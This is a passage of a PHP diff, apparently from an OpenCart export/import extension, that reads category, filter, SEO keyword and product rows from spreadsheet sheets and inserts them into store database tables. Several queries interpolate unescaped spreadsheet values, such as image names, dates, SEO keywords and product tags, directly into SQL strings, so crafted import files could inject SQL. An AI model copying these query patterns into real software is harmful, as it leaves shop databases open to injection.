+ $sql = "INSERT INTO `".DB_PREFIX."category` (`category_id`, `image`, `parent_id`, `top`, `column`, `sort_order`, `date_added`, `date_modified`, `status`) VALUES ";
+ $sql .= "( $category_id, '$image_name', $parent_id, $top, $columns, $sort_order, ";
+ $sql .= ($date_added=='NOW()') ? "$date_added," : "'$date_added',";
+ $sql .= ($date_modified=='NOW()') ? "$date_modified," : "'$date_modified',";
+ $sql .= " $status);";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $description = isset($descriptions[$language_code]) ? $this->db->escape($descriptions[$language_code]) : '';
+ if ($exist_meta_title) {
+ $meta_title = isset($meta_titles[$language_code]) ? $this->db->escape($meta_titles[$language_code]) : '';
+ }
+ $meta_description = isset($meta_descriptions[$language_code]) ? $this->db->escape($meta_descriptions[$language_code]) : '';
+ $meta_keyword = isset($meta_keywords[$language_code]) ? $this->db->escape($meta_keywords[$language_code]) : '';
+ if ($exist_meta_title) {
+ $sql = "INSERT INTO `".DB_PREFIX."category_description` (`category_id`, `language_id`, `name`, `description`, `meta_title`, `meta_description`, `meta_keyword`) VALUES ";
+ $sql .= "( $category_id, $language_id, '$name', '$description', '$meta_title', '$meta_description', '$meta_keyword' );";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."category_description` (`category_id`, `language_id`, `name`, `description`, `meta_description`, `meta_keyword`) VALUES ";
+ $sql .= "( $category_id, $language_id, '$name', '$description', '$meta_description', '$meta_keyword' );";
+ }
+ $this->db->query( $sql );
+ }
+ if (!$this->use_table_seo_url) {
+ if ($seo_keyword) {
+ if (isset($url_alias_ids[$category_id])) {
+ $url_alias_id = $url_alias_ids[$category_id];
+ $sql = "INSERT INTO `".DB_PREFIX."url_alias` (`url_alias_id`,`query`,`keyword`) VALUES ($url_alias_id,'category_id=$category_id','$seo_keyword');";
+ unset($url_alias_ids[$category_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."url_alias` (`query`,`keyword`) VALUES ('category_id=$category_id','$seo_keyword');";
+ }
+ $this->db->query($sql);
+ }
+ }
+ foreach ($store_ids as $store_id) {
+ if (in_array((int)$store_id,$available_store_ids)) {
+ $sql = "INSERT INTO `".DB_PREFIX."category_to_store` (`category_id`,`store_id`) VALUES ($category_id,$store_id);";
+ $this->db->query($sql);
+ }
+ }
+ $layouts = array();
+ foreach ($layout as $layout_part) {
+ $next_layout = explode(':',$layout_part);
+ if ($next_layout===false) {
+ $next_layout = array( 0, $layout_part );
+ } else if (count($next_layout)==1) {
+ $next_layout = array( 0, $layout_part );
+ }
+ if ( (count($next_layout)==2) && (in_array((int)$next_layout[0],$available_store_ids)) && (is_string($next_layout[1])) ) {
+ $store_id = (int)$next_layout[0];
+ $layout_name = $next_layout[1];
+ if (isset($layout_ids[$layout_name])) {
+ $layout_id = (int)$layout_ids[$layout_name];
+ if (!isset($layouts[$store_id])) {
+ $layouts[$store_id] = $layout_id;
+ }
+ }
+ }
+ }
+ foreach ($layouts as $store_id => $layout_id) {
+ $sql = "INSERT INTO `".DB_PREFIX."category_to_layout` (`category_id`,`store_id`,`layout_id`) VALUES ($category_id,$store_id,$layout_id);";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteCategory( $category_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."category` WHERE `category_id` = '".(int)$category_id."' ;\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."category_description` WHERE `category_id` = '".(int)$category_id."' ;\n";
+ $sql .= "DELETE FROM `".DB_PREFIX."category_to_store` WHERE `category_id` = '".(int)$category_id."' ;\n";
+ if (!$this->use_table_seo_url) {
+ $sql .= "DELETE FROM `".DB_PREFIX."url_alias` WHERE `query` LIKE 'category_id=".(int)$category_id."';\n";
+ }
+ $sql .= "DELETE FROM `".DB_PREFIX."category_to_layout` WHERE `category_id` = '".(int)$category_id."' ;\n";
+ $this->multiquery( $sql );
+ $sql = "SHOW TABLES LIKE \"".DB_PREFIX."category_path\"";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows) {
+ $sql = "DELETE FROM `".DB_PREFIX."category_path` WHERE `category_id` = '".(int)$category_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteCategories( &$url_alias_ids ) {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."category`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."category_description`;\n";
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."category_to_store`;\n";
+ if (!$this->use_table_seo_url) {
+ $sql .= "DELETE FROM `".DB_PREFIX."url_alias` WHERE `query` LIKE 'category_id=%';\n";
+ }
+ $sql .= "TRUNCATE TABLE `".DB_PREFIX."category_to_layout`;\n";
+ $this->multiquery( $sql );
+ $sql = "SHOW TABLES LIKE \"".DB_PREFIX."category_path\"";
+ $query = $this->db->query( $sql );
+ if ($query->num_rows) {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."category_path`";
+ $this->db->query( $sql );
+ }
+ if (!$this->use_table_seo_url) {
+ $sql = "SELECT (MAX(url_alias_id)+1) AS next_url_alias_id FROM `".DB_PREFIX."url_alias` LIMIT 1";
+ $query = $this->db->query( $sql );
+ $next_url_alias_id = $query->row['next_url_alias_id'];
+ $sql = "ALTER TABLE `".DB_PREFIX."url_alias` AUTO_INCREMENT = $next_url_alias_id";
+ $this->db->query( $sql );
+ $remove = array();
+ foreach ($url_alias_ids as $category_id=>$url_alias_id) {
+ if ($url_alias_id >= $next_url_alias_id) {
+ $remove[$category_id] = $url_alias_id;
+ }
+ }
+ foreach ($remove as $category_id=>$url_alias_id) {
+ unset($url_alias_ids[$category_id]);
+ }
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreCategoryCells( $i, &$j, &$worksheet, &$category ) {
+ return;
+ }
+
+
+ protected function uploadCategories( &$reader, $incremental, &$available_category_ids=array() ) {
+ // get worksheet if there
+ $data = $reader->getSheetByName( 'Categories' );
+ if ($data==null) {
+ return;
+ }
+
+ // Opencart versions from 2.0 onwards also have category_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."category_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ // get old url_alias_ids
+ if (!$this->use_table_seo_url) {
+ $url_alias_ids = $this->getCategoryUrlAliasIds();
+ }
+
+ // if incremental then find current category IDs else delete all old categories
+ $available_category_ids = array();
+ if ($incremental) {
+ $old_category_ids = $this->getAvailableCategoryIds();
+ } else {
+ $this->deleteCategories($url_alias_ids);
+ }
+
+ // get pre-defined layouts
+ $layout_ids = $this->getLayoutIds();
+
+ // get pre-defined store_ids
+ $available_store_ids = $this->getAvailableStoreIds();
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $category_id = trim($this->getCell($data,$i,$j++));
+ if ($category_id=="") {
+ continue;
+ }
+ $parent_id = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while ($this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $top = $this->getCell($data,$i,$j++,($parent_id=='0')?'true':'false');
+ $columns = $this->getCell($data,$i,$j++,($parent_id=='0')?'1':'0');
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $image_name = trim($this->getCell($data,$i,$j++));
+ $date_added = trim($this->getCell($data,$i,$j++));
+ $date_added = ((is_string($date_added)) && (strlen($date_added)>0)) ? $date_added : "NOW()";
+ $date_modified = trim($this->getCell($data,$i,$j++));
+ $date_modified = ((is_string($date_modified)) && (strlen($date_modified)>0)) ? $date_modified : "NOW()";
+ if (!$this->use_table_seo_url) {
+ $seo_keyword = $this->getCell($data,$i,$j++);
+ }
+ $descriptions = array();
+ while ($this->startsWith($first_row[$j-1],"description(")) {
+ $language_code = substr($first_row[$j-1],strlen("description("),strlen($first_row[$j-1])-strlen("description(")-1);
+ $description = $this->getCell($data,$i,$j++);
+ $description = htmlspecialchars( $description );
+ $descriptions[$language_code] = $description;
+ }
+ if ($exist_meta_title) {
+ $meta_titles = array();
+ while ($this->startsWith($first_row[$j-1],"meta_title(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_title("),strlen($first_row[$j-1])-strlen("meta_title(")-1);
+ $meta_title = $this->getCell($data,$i,$j++);
+ $meta_title = htmlspecialchars( $meta_title );
+ $meta_titles[$language_code] = $meta_title;
+ }
+ }
+ $meta_descriptions = array();
+ while ($this->startsWith($first_row[$j-1],"meta_description(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_description("),strlen($first_row[$j-1])-strlen("meta_description(")-1);
+ $meta_description = $this->getCell($data,$i,$j++);
+ $meta_description = htmlspecialchars( $meta_description );
+ $meta_descriptions[$language_code] = $meta_description;
+ }
+ $meta_keywords = array();
+ while ($this->startsWith($first_row[$j-1],"meta_keywords(")) {
+ $language_code = substr($first_row[$j-1],strlen("meta_keywords("),strlen($first_row[$j-1])-strlen("meta_keywords(")-1);
+ $meta_keyword = $this->getCell($data,$i,$j++);
+ $meta_keyword = htmlspecialchars( $meta_keyword );
+ $meta_keywords[$language_code] = $meta_keyword;
+ }
+ $store_ids = $this->getCell($data,$i,$j++);
+ $layout = $this->getCell($data,$i,$j++,'');
+ $status = $this->getCell($data,$i,$j++,'true');
+ $category = array();
+ $category['category_id'] = $category_id;
+ $category['image'] = $image_name;
+ $category['parent_id'] = $parent_id;
+ $category['sort_order'] = $sort_order;
+ $category['date_added'] = $date_added;
+ $category['date_modified'] = $date_modified;
+ $category['names'] = $names;
+ $category['top'] = $top;
+ $category['columns'] = $columns;
+ $category['descriptions'] = $descriptions;
+ if ($exist_meta_title) {
+ $category['meta_titles'] = $meta_titles;
+ }
+ $category['meta_descriptions'] = $meta_descriptions;
+ $category['meta_keywords'] = $meta_keywords;
+ if (!$this->use_table_seo_url) {
+ $category['seo_keyword'] = $seo_keyword;
+ }
+ $store_ids = trim( $this->clean($store_ids, false) );
+ $category['store_ids'] = ($store_ids=="") ? array() : explode( ",", $store_ids );
+ if ($category['store_ids']===false) {
+ $category['store_ids'] = array();
+ }
+ $category['layout'] = ($layout=="") ? array() : explode( ",", $layout );
+ if ($category['layout']===false) {
+ $category['layout'] = array();
+ }
+ $category['status'] = $status;
+ if ($incremental) {
+ if ($old_category_ids) {
+ if (in_array((int)$category_id,$old_category_ids)) {
+ $this->deleteCategory( $category_id );
+ }
+ }
+ }
+ $available_category_ids[$category_id] = $category_id;
+ $this->moreCategoryCells( $i, $j, $data, $category );
+ $this->storeCategoryIntoDatabase( $category, $languages, $exist_meta_title, $layout_ids, $available_store_ids, $url_alias_ids );
+ }
+
+ // restore category paths for faster lookups on the frontend (only for newer OpenCart versions)
+ $this->load->model( 'catalog/category' );
+ if (is_callable(array($this->model_catalog_category,'repairCategories'))) {
+ $this->model_catalog_category->repairCategories(0);
+ }
+ }
+
+
+ protected function storeCategoryFilterIntoDatabase( &$category_filter, &$languages ) {
+ $category_id = $category_filter['category_id'];
+ $filter_id = $category_filter['filter_id'];
+ $sql = "INSERT INTO `".DB_PREFIX."category_filter` (`category_id`, `filter_id`) VALUES ";
+ $sql .= "( $category_id, $filter_id );";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteCategoryFilters() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."category_filter`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteCategoryFilter( $category_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."category_filter` WHERE category_id='".(int)$category_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteUnlistedCategoryFilters( &$unlisted_category_ids ) {
+ foreach ($unlisted_category_ids as $category_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."category_filter` WHERE category_id='".(int)$category_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreCategoryFilterCells( $i, &$j, &$worksheet, &$category_filter ) {
+ return;
+ }
+
+
+ protected function uploadCategoryFilters( &$reader, $incremental, &$available_category_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'CategoryFilters' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current category IDs else delete all old category filters
+ if ($incremental) {
+ $unlisted_category_ids = $available_category_ids;
+ } else {
+ $this->deleteCategoryFilters();
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_ids = $this->getFilterGroupIds();
+ }
+ if (!$this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_ids = $this->getFilterIds();
+ }
+
+ // load the worksheet cells and store them to the database
+ $languages = $this->getLanguages();
+ $previous_category_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $category_id = trim($this->getCell($data,$i,$j++));
+ if ($category_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $filter_group_name = $this->getCell($data,$i,$j++);
+ $filter_group_id = isset($filter_group_ids[$filter_group_name]) ? $filter_group_ids[$filter_group_name] : '';
+ }
+ if ($filter_group_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $filter_name = $this->getCell($data,$i,$j++);
+ $filter_id = isset($filter_ids[$filter_group_id][$filter_name]) ? $filter_ids[$filter_group_id][$filter_name] : '';
+ }
+ if ($filter_id=='') {
+ continue;
+ }
+ $category_filter = array();
+ $category_filter['category_id'] = $category_id;
+ $category_filter['filter_group_id'] = $filter_group_id;
+ $category_filter['filter_id'] = $filter_id;
+ if (($incremental) && ($category_id != $previous_category_id)) {
+ $this->deleteCategoryFilter( $category_id );
+ if (isset($unlisted_category_ids[$category_id])) {
+ unset($unlisted_category_ids[$category_id]);
+ }
+ }
+ $this->moreCategoryFilterCells( $i, $j, $data, $category_filter );
+ $this->storeCategoryFilterIntoDatabase( $category_filter, $languages );
+ $previous_category_id = $category_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedCategoryFilters( $unlisted_category_ids );
+ }
+ }
+
+
+ protected function storeCategorySEOKeywordIntoDatabase( &$category_seo_keyword, &$languages, $old_seo_url_ids ) {
+ $category_id = $category_seo_keyword['category_id'];
+ $store_id = $category_seo_keyword['store_id'];
+ $keywords = $category_seo_keyword['keywords'];
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ if (isset($keywords[$language_code])) {
+ $keyword = $keywords[$language_code];
+ if ($keyword != '') {
+ if (isset($old_seo_url_ids[$category_id][$store_id][$language_id])) {
+ $seo_url_id = $old_seo_url_ids[$category_id][$store_id][$language_id];
+ $sql = "INSERT INTO `".DB_PREFIX."seo_url` (`seo_url_id`, `store_id`, `language_id`, `query`, `keyword`) VALUES ";
+ $sql .= "($seo_url_id, $store_id, $language_id, 'category_id=$category_id', '".$this->db->escape($keyword)."');";
+ $this->db->query( $sql );
+ unset($old_seo_url_ids[$category_id][$store_id][$language_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."seo_url` (`store_id`, `language_id`, `query`, `keyword`) VALUES ";
+ $sql .= "($store_id, $language_id, 'category_id=$category_id', '".$this->db->escape($keyword)."');";
+ $this->db->query( $sql );
+ }
+ }
+ }
+ }
+ }
+
+
+ protected function deleteCategorySEOKeywords() {
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query LIKE 'category_id=%';";
+ $this->db->query( $sql );
+ $sql = "SELECT MAX(seo_url_id) AS max_seo_url_id FROM `".DB_PREFIX."seo_url`";
+ $query = $this->db->query( $sql );
+ $max_seo_url_id = isset( $query->row['max_seo_url_id'] ) ? $query->row['max_seo_url_id'] : 0;
+ $auto_increment = $max_seo_url_id + 1;
+ $sql = "ALTER TABLE `".DB_PREFIX."seo_url` AUTO_INCREMENT = $auto_increment;";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteCategorySEOKeyword( $category_id ) {
+ $old_seo_url_ids = array();
+ $sql = "SELECT * FROM `".DB_PREFIX."seo_url` WHERE query='category_id=".(int)$category_id."';";
+ $query = $this->db->query( $sql );
+ foreach ($query->rows as $row) {
+ $seo_url_id = $row['seo_url_id'];
+ $store_id = $row['store_id'];
+ $category_id = (int)substr($row['query'],strlen('category_id='));
+ $language_id = $row['language_id'];
+ $old_seo_url_ids[$category_id][$store_id][$language_id] = $seo_url_id;
+ }
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query='category_id=".(int)$category_id."';";
+ $this->db->query( $sql );
+ return $old_seo_url_ids;
+ }
+
+
+ protected function deleteUnlistedCategorySEOKeywords( &$unlisted_category_ids ) {
+ foreach ($unlisted_category_ids as $category_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query='category_id=".(int)$category_id."';";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreCategorySEOKeywordCells( $i, &$j, &$worksheet, &$category_seo_keyword ) {
+ return;
+ }
+
+
+ protected function uploadCategorySEOKeywords( &$reader, $incremental, &$available_category_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'CategorySEOKeywords' );
+ if ($data==null) {
+ return;
+ }
+
+ // if DB table 'seo_url' doesn't exist (OpenCart 1.5.x, 2.x versions) then return immediately
+ if (!$this->use_table_seo_url) {
+ return;
+ }
+
+ // if incremental then find current category IDs else delete all old category SEO keywords
+ if ($incremental) {
+ $unlisted_category_ids = $available_category_ids;
+ } else {
+ $this->deleteCategorySEOKeywords();
+ }
+
+ // load the worksheet cells and store them to the database
+ $old_seo_url_ids = array();
+ $languages = $this->getLanguages();
+ $previous_category_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $category_id = trim($this->getCell($data,$i,$j++));
+ if ($category_id=='') {
+ continue;
+ }
+ $store_id = trim($this->getCell($data,$i,$j++));
+ if ($store_id=='') {
+ continue;
+ }
+ $keywords = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"keyword(")) {
+ $language_code = substr($first_row[$j-1],strlen("keyword("),strlen($first_row[$j-1])-strlen("keyword(")-1);
+ $keyword = trim($this->getCell($data,$i,$j++,''));
+ $keyword = htmlspecialchars( $keyword );
+ $keywords[$language_code] = $keyword;
+ }
+ $category_seo_keyword = array();
+ $category_seo_keyword['category_id'] = $category_id;
+ $category_seo_keyword['store_id'] = $store_id;
+ $category_seo_keyword['keywords'] = $keywords;
+ if (($incremental) && ($category_id != $previous_category_id)) {
+ $old_seo_url_ids = $this->deleteCategorySEOKeyword( $category_id );
+ if (isset($unlisted_category_ids[$category_id])) {
+ unset($unlisted_category_ids[$category_id]);
+ }
+ }
+ $this->moreCategorySEOKeywordCells( $i, $j, $data, $category_seo_keyword );
+ $this->storeCategorySEOKeywordIntoDatabase( $category_seo_keyword, $languages, $old_seo_url_ids );
+ $previous_category_id = $category_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedCategorySEOKeywords( $unlisted_category_ids );
+ }
+ }
+
+
+ protected function getProductViewCounts() {
+ $query = $this->db->query( "SELECT product_id, viewed FROM `".DB_PREFIX."product`" );
+ $view_counts = array();
+ foreach ($query->rows as $row) {
+ $product_id = $row['product_id'];
+ $viewed = $row['viewed'];
+ $view_counts[$product_id] = $viewed;
+ }
+ return $view_counts;
+ }
+
+
+ protected function getProductUrlAliasIds() {
+ $sql = "SELECT url_alias_id, SUBSTRING( query, CHAR_LENGTH('product_id=')+1 ) AS product_id ";
+ $sql .= "FROM `".DB_PREFIX."url_alias` ";
+ $sql .= "WHERE query LIKE 'product_id=%'";
+ $query = $this->db->query( $sql );
+ $url_alias_ids = array();
+ foreach ($query->rows as $row) {
+ $url_alias_id = $row['url_alias_id'];
+ $product_id = $row['product_id'];
+ $url_alias_ids[$product_id] = $url_alias_id;
+ }
+ return $url_alias_ids;
+ }
+
+
+ protected function storeProductIntoDatabase( &$product, &$languages, &$product_fields, $exist_table_product_tag, $exist_meta_title, &$layout_ids, &$available_store_ids, &$manufacturers, &$weight_class_ids, &$length_class_ids, &$url_alias_ids ) {
+ // extract the product details
+ $product_id = $product['product_id'];
+ $names = $product['names'];
+ $categories = $product['categories'];
+ $quantity = $product['quantity'];
+ $model = $this->db->escape($product['model']);
+ $manufacturer_name = $product['manufacturer_name'];
+ $image = $this->db->escape($product['image']);
+ $shipping = $product['shipping'];
+ $shipping = ((strtoupper($shipping)=="YES") || (strtoupper($shipping)=="Y") || (strtoupper($shipping)=="TRUE")) ? 1 : 0;
+ $price = trim($product['price']);
+ $price_2 = trim($product['price_2']);
+ $price_3 = trim($product['price_3']);
+ $points = $product['points'];
+ $date_added = $product['date_added'];
+ $date_modified = $product['date_modified'];
+ $date_available = $product['date_available'];
+ $weight = ($product['weight']=="") ? 0 : $product['weight'];
+ $weight_unit = $product['weight_unit'];
+ $weight_class_id = (isset($weight_class_ids[$weight_unit])) ? $weight_class_ids[$weight_unit] : 0;
+ $status = $product['status'];
+ $status = ((strtoupper($status)=="TRUE") || (strtoupper($status)=="YES") || (strtoupper($status)=="ENABLED")) ? 1 : 0;
+ $tax_class_id = $product['tax_class_id'];
+ $viewed = $product['viewed'];
+ $descriptions = $product['descriptions'];
+ $stock_status_id = $product['stock_status_id'];
+ if ($exist_meta_title) {
+ $meta_titles = $product['meta_titles'];
+ }
+ $meta_descriptions = $product['meta_descriptions'];
+ $length = $product['length'];
+ $width = $product['width'];
+ $height = $product['height'];
+ if (!$this->use_table_seo_url) {
+ $keyword = $this->db->escape($product['seo_keyword']);
+ }
+ $length_unit = $product['measurement_unit'];
+ $length_class_id = (isset($length_class_ids[$length_unit])) ? $length_class_ids[$length_unit] : 0;
+ $sku = $this->db->escape($product['sku']);
+ $upc = $this->db->escape($product['upc']);
+ if (in_array('ean',$product_fields)) {
+ $ean = $this->db->escape($product['ean']);
+ }
+ if (in_array('jan',$product_fields)) {
+ $jan = $this->db->escape($product['jan']);
+ }
+ if (in_array('isbn',$product_fields)) {
+ $isbn = $this->db->escape($product['isbn']);
+ }
+ if (in_array('mpn',$product_fields)) {
+ $mpn = $this->db->escape($product['mpn']);
+ }
+ $location = $this->db->escape($product['location']);
+ $store_ids = $product['store_ids'];
+ $layout = $product['layout'];
+ $related_ids = $product['related_ids'];
+ $subtract = $product['subtract'];
+ $subtract = ((strtoupper($subtract)=="TRUE") || (strtoupper($subtract)=="YES") || (strtoupper($subtract)=="ENABLED")) ? 1 : 0;
+ $minimum = $product['minimum'];
+ $meta_keywords = $product['meta_keywords'];
+ $tags = $product['tags'];
+ $sort_order = $product['sort_order'];
+ if ($manufacturer_name) {
+ $this->storeManufacturerIntoDatabase( $manufacturers, $manufacturer_name, $store_ids, $available_store_ids );
+ $manufacturer_id = $manufacturers[$manufacturer_name]['manufacturer_id'];
+ } else {
+ $manufacturer_id = 0;
+ }
+
+ // generate and execute SQL for inserting the product
+ $sql = "INSERT INTO `".DB_PREFIX."product` (`product_id`,`quantity`,`sku`,`upc`,";
+ $sql .= in_array('ean',$product_fields) ? "`ean`," : "";
+ $sql .= in_array('jan',$product_fields) ? "`jan`," : "";
+ $sql .= in_array('isbn',$product_fields) ? "`isbn`," : "";
+ $sql .= in_array('mpn',$product_fields) ? "`mpn`," : "";
+ $sql .= "`location`,`stock_status_id`,`model`,`manufacturer_id`,`image`,`shipping`,`price`,`price_2`,`price_3`,`points`,`date_added`,`date_modified`,`date_available`,`weight`,`weight_class_id`,`status`,";
+ $sql .= "`tax_class_id`,`viewed`,`length`,`width`,`height`,`length_class_id`,`sort_order`,`subtract`,`minimum`) VALUES ";
+ $sql .= "($product_id,$quantity,'$sku','$upc',";
+ $sql .= in_array('ean',$product_fields) ? "'$ean'," : "";
+ $sql .= in_array('jan',$product_fields) ? "'$jan'," : "";
+ $sql .= in_array('isbn',$product_fields) ? "'$isbn'," : "";
+ $sql .= in_array('mpn',$product_fields) ? "'$mpn'," : "";
+ $sql .= "'$location',$stock_status_id,'$model',$manufacturer_id,'$image',$shipping,$price,$price_2,$price_3,$points,";
+ $sql .= ($date_added=='NOW()') ? "$date_added," : "'$date_added',";
+ $sql .= ($date_modified=='NOW()') ? "$date_modified," : "'$date_modified',";
+ $sql .= ($date_available=='NOW()') ? "$date_available," : "'$date_available',";
+ $sql .= "$weight,$weight_class_id,$status,";
+ $sql .= "$tax_class_id,$viewed,$length,$width,$height,'$length_class_id','$sort_order','$subtract','$minimum');";
+ $this->db->query($sql);
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $description = isset($descriptions[$language_code]) ? $this->db->escape($descriptions[$language_code]) : '';
+ if ($exist_meta_title) {
+ $meta_title = isset($meta_titles[$language_code]) ? $this->db->escape($meta_titles[$language_code]) : '';
+ }
+ $meta_description = isset($meta_descriptions[$language_code]) ? $this->db->escape($meta_descriptions[$language_code]) : '';
+ $meta_keyword = isset($meta_keywords[$language_code]) ? $this->db->escape($meta_keywords[$language_code]) : '';
+ $tag = isset($tags[$language_code]) ? $this->db->escape($tags[$language_code]) : '';
+ if ($exist_table_product_tag) {
+ if ($exist_meta_title) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_description` (`product_id`, `language_id`, `name`, `description`, `meta_title`, `meta_description`, `meta_keyword`) VALUES ";
+ $sql .= "( $product_id, $language_id, '$name', '$description', '$meta_title', '$meta_description', '$meta_keyword' );";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_description` (`product_id`, `language_id`, `name`, `description`, `meta_description`, `meta_keyword`) VALUES ";
+ $sql .= "( $product_id, $language_id, '$name', '$description', '$meta_description', '$meta_keyword' );";
+ }
+ $this->db->query( $sql );
+ $tag = trim($tag);
+ if ($tag) {
+ $tag_elements = explode(',',$tag);
+ foreach ($tag_elements as $tag_element) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_tag` (`product_id`,`language_id`,`tag`) VALUES ";
+ $sql .= "($product_id, $language_id, '$tag_element')";
+ $this->db->query($sql);
+ }
+ }
+ } else {
+ if ($exist_meta_title) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_description` (`product_id`, `language_id`, `name`, `description`, `meta_title`, `meta_description`, `meta_keyword`, `tag`) VALUES ";
+ $sql .= "( $product_id, $language_id, '$name', '$description', '$meta_title', '$meta_description', '$meta_keyword', '$tag' );";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_description` (`product_id`, `language_id`, `name`, `description`, `meta_description`, `meta_keyword`, `tag`) VALUES ";
+ $sql .= "( $product_id, $language_id, '$name', '$description', '$meta_description', '$meta_keyword', '$tag' );";
+ }
+ $this->db->query( $sql );
+ }
+ }
+ if (count($categories) > 0) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_to_category` (`product_id`,`category_id`) VALUES ";
+ $first = true;
+ foreach ($categories as $category_id) {
+ $sql .= ($first) ? "\n" : ",\n";
+ $first = false;
+ $sql .= "($product_id,$category_id)";
+ }
+ $sql .= ";";
+ $this->db->query($sql);
+ }
+ if (!$this->use_table_seo_url) {
+ if ($keyword) {
+ if (isset($url_alias_ids[$product_id])) {
+ $url_alias_id = $url_alias_ids[$product_id];
+ $sql = "INSERT INTO `".DB_PREFIX."url_alias` (`url_alias_id`,`query`,`keyword`) VALUES ($url_alias_id,'product_id=$product_id','$keyword');";
+ unset($url_alias_ids[$product_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."url_alias` (`query`,`keyword`) VALUES ('product_id=$product_id','$keyword');";
+ }
+ $this->db->query($sql);
+ }
+ }
+ foreach ($store_ids as $store_id) {
+ if (in_array((int)$store_id,$available_store_ids)) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_to_store` (`product_id`,`store_id`) VALUES ($product_id,$store_id);";
+ $this->db->query($sql);
+ }
+ }
+ $layouts = array();
+ foreach ($layout as $layout_part) {
+ $next_layout = explode(':',$layout_part);
+ if ($next_layout===false) {
+ $next_layout = array( 0, $layout_part );
+ } else if (count($next_layout)==1) {
+ $next_layout = array( 0, $layout_part );
+ }
+ if ( (count($next_layout)==2) && (in_array((int)$next_layout[0],$available_store_ids)) && (is_string($next_layout[1])) ) {
